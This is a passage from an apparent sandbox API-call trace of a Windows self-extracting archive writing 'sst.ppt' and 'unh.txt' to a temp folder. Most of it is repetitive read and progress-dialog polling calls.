hFile=0x1c, lpBuffer=0x270473, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270473*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.045] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.045] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.045] GetTickCount () returned 0x1fa16 [0068.045] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.045] ReadFile (in: hFile=0x1c, lpBuffer=0x270473, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270473*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.045] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.045] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.045] GetTickCount () returned 0x1fa16 [0068.045] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.045] ReadFile (in: hFile=0x1c, lpBuffer=0x270473, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270473*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.045] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.045] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.045] GetTickCount () returned 0x1fa16 [0068.045] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.045] ReadFile (in: hFile=0x1c, lpBuffer=0x270473, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270473*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.045] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.045] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.045] GetTickCount () returned 0x1fa16 [0068.045] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.045] ReadFile (in: hFile=0x1c, lpBuffer=0x270473, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270473*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.045] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.045] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.045] GetTickCount () returned 0x1fa16 [0068.045] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.045] ReadFile (in: hFile=0x1c, lpBuffer=0x270473, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270473*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.045] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.045] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.046] GetTickCount () returned 0x1fa16 [0068.046] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.046] ReadFile (in: hFile=0x1c, lpBuffer=0x270473, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270473*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.046] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.046] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.046] GetTickCount () returned 0x1fa16 [0068.046] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.046] ReadFile (in: hFile=0x1c, lpBuffer=0x270473, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270473*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.046] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.046] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.046] GetTickCount () returned 0x1fa16 [0068.046] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.046] ReadFile (in: hFile=0x1c, lpBuffer=0x270473, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270473*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.046] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.046] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.046] GetTickCount () returned 0x1fa16 [0068.046] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.046] ReadFile (in: hFile=0x1c, lpBuffer=0x270473, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270473*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.046] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.046] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.046] GetTickCount () returned 0x1fa16 [0068.046] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.046] ReadFile (in: hFile=0x1c, lpBuffer=0x270473, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270473*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.046] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.046] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.046] GetTickCount () returned 0x1fa16 [0068.046] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.046] ReadFile (in: hFile=0x1c, lpBuffer=0x270473, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270473*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.046] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.046] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.046] GetTickCount () returned 0x1fa16 [0068.046] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.046] ReadFile (in: hFile=0x1c, lpBuffer=0x270473, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270473*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.046] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.046] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.046] GetTickCount () returned 0x1fa16 [0068.046] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.046] ReadFile (in: hFile=0x1c, lpBuffer=0x270473, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270473*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.046] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.046] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.046] GetTickCount () returned 0x1fa16 [0068.046] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.046] ReadFile (in: hFile=0x1c, lpBuffer=0x270473, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270473*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.046] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.046] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.046] GetTickCount () returned 0x1fa16 [0068.046] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.046] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x25d, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x25d, lpOverlapped=0x0) returned 1 [0068.047] GetTickCount () returned 0x1fa16 [0068.047] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.047] SetFilePointer (in: hFile=0x1c, lDistanceToMove=860399, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd20ef [0068.047] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.047] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.047] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.047] CloseHandle (hObject=0x138) returned 1 [0068.048] SetFileAttributesA (lpFileName="sst.ppt", dwFileAttributes=0x20) returned 1 [0068.048] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd20ef [0068.048] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.048] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x25, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x25, lpOverlapped=0x0) returned 1 [0068.048] OemToCharA (in: pSrc="unh.txt", pDst=0x179cc0 | out: pDst="unh.txt") returned 1 [0068.048] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="unh.txt", cchCount2=1) returned 1 [0068.048] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="unh.txt", cchCount2=6) returned 1 [0068.048] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="unh.txt", cchCount2=-1) returned 1 [0068.049] SetFilePointer (in: hFile=0x1c, lDistanceToMove=860443, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd211b [0068.049] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="unh.txt") returned 8 [0068.049] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x41aab8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.049] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting unh.txt") returned 18 [0068.049] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting unh.txt") returned 1 [0068.049] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.049] OemToCharBuffA (in: lpszSrc="u", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="u") returned 1 [0068.049] CharToOemBuffA (in: lpszSrc="U", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="U") returned 1 [0068.049] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="unh.txt") returned 8 [0068.049] FindFirstFileW (in: lpFileName="unh.txt", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.049] GetLastError () returned 0x2 [0068.049] GetFileAttributesA (lpFileName="unh.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\unh.txt")) returned 0xffffffff [0068.049] CreateFileA (lpFileName="unh.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\unh.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.049] GetFileType (hFile=0x138) returned 0x1 [0068.049] SetFilePointer (in: hFile=0x138, lDistanceToMove=528, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x210 [0068.049] SetEndOfFile (hFile=0x138) returned 1 [0068.049] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.050] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1af, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1af, lpOverlapped=0x0) returned 1 [0068.050] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.050] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 1 [0068.050] GetMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x17154c) returned 1 [0068.050] TranslateMessage (lpMsg=0x17154c) returned 0 [0068.050] DispatchMessageW (lpMsg=0x17154c) returned 0x0 [0068.050] GetTickCount () returned 0x1fa26 [0068.050] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.050] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.050] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.050] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.050] GetTickCount () returned 0x1fa26 [0068.050] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.050] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.050] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.050] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.050] GetTickCount () returned 0x1fa26 [0068.050] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.050] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.050] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.050] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.050] GetTickCount () returned 0x1fa26 [0068.050] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.050] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.050] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.050] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.050] GetTickCount () returned 0x1fa26 [0068.050] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.050] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.050] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.050] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.050] GetTickCount () returned 0x1fa26 [0068.051] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.051] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.051] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.051] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.051] GetTickCount () returned 0x1fa26 [0068.051] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.051] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.051] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.051] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.051] GetTickCount () returned 0x1fa26 [0068.051] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.051] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.051] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.051] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.051] GetTickCount () returned 0x1fa26 [0068.051] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.051] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.051] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.051] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.051] GetTickCount () returned 0x1fa26 [0068.051] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.051] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.051] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.051] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.051] GetTickCount () returned 0x1fa26 [0068.051] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.051] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.051] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.051] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.051] GetTickCount () returned 0x1fa26 [0068.051] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.051] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.051] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.051] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.051] GetTickCount () returned 0x1fa26 [0068.051] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.051] ReadFile (in: hFile=0x1c, lpBuffer=0x270437, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270437*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.051] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x61, lParam=0x0) returned 0x61 [0068.051] PeekMessageW (in: lpMsg=0x17154c, 